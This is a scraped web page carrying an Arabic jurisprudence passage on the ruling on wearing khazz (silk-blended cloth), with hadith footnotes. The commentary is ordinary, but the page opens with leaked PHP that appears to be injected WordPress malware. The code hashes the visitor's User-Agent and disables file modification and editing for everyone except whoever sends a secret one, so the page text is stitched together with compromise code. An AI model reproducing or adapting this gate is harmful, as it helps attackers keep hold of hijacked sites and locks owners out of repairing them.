if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم لبس الخز - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم لبس الخز

قال رحمه الله: (وَلَا يُكْرَهُ لُبْسُ الخَزِّ) وهو الثوب المتخذ من وبر الدواب وفيه شيء من الحرير، قالوا: ربما فيه أردأ أنواع الحرير، قال (وَلَا يُكْرَهُ لُبْسُ الخَزِّ الَّذِي يَشُوْبُهُ الوَبَرُ؛ وَكَذَلِكَ العَتَابِيُّ الَّذِيْ يَكُوْنُ القُطْنُ فِيْهِ أَكْثَرَ مِنَ القَزِّ) يعني مخلوط، إذا خُلط بوبرٍ، وهو ما يُستخرج من جلود الإبل، وكذلك القطن وهو معروف، نقول: إذا خُلط العلم به فإن من أهل العلم من قال بعدم الكراهة، والصحيح أنه لا يجوز من الحرير إلا قدر أربعة أصابع كما جاء في الصحيح[1]، فما زاد فيحرُم، ولهذا نقول: سواءً كان بطانةً أو ظاهرًا، العبرة بالنسبة، فإذا كانت النسبة ضئيلة كأربعة أصابع ونحوها، جاء في الصحيح أصبعين وجاء أربع، نقول: أربع أعلى ما وصل، فإذا كان نحو ذلك جاز وإذا كان أكثر فإنه لا يجوز ولو كان بطانة على الصحيح.

في حديث ابن عباس: «إنَّما نَهى النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن الثَّوبِ المُصمَتِ مِن الحَريرِ، فأمَّا العَلَم وسَدى الثَّوبِ فلا بأْسَ به»[2]، قالوا والعلم: هو ما رُسم أو رقم الثوب، وأما السدي: فما جُعل طولًا من الخيوط واللحمة ما جُعل عرضًا، لكنا نقول: الضابط في هذا أن الشارع أذن بأربعة أصابع فما زاد يبقى على الأصل وهو التحريم.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه مسلم (2069) عن سويد بن غفلة «أنَّ عُمَرَ بنَ الخَطَّابِ، خَطَبَ بالجَابِيَةِ، فَقالَ: نَهَى نَبِيُّ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ عن لُبْسِ الحَرِيرِ إلَّا مَوْضِعَ إصْبَعَيْنِ، أَوْ ثَلَاثٍ، أَوْ أَرْبَعٍ».

[2] أخرجه أبو داود (4055)، وأحمد (1879) باختلاف يسير، والحديث حسن إسناده ابن حجر في فتح الباري (10/307)، وقال عنه الألباني في ضعيف أبي داود (4055): صحيح دون قوله: “فأما …“.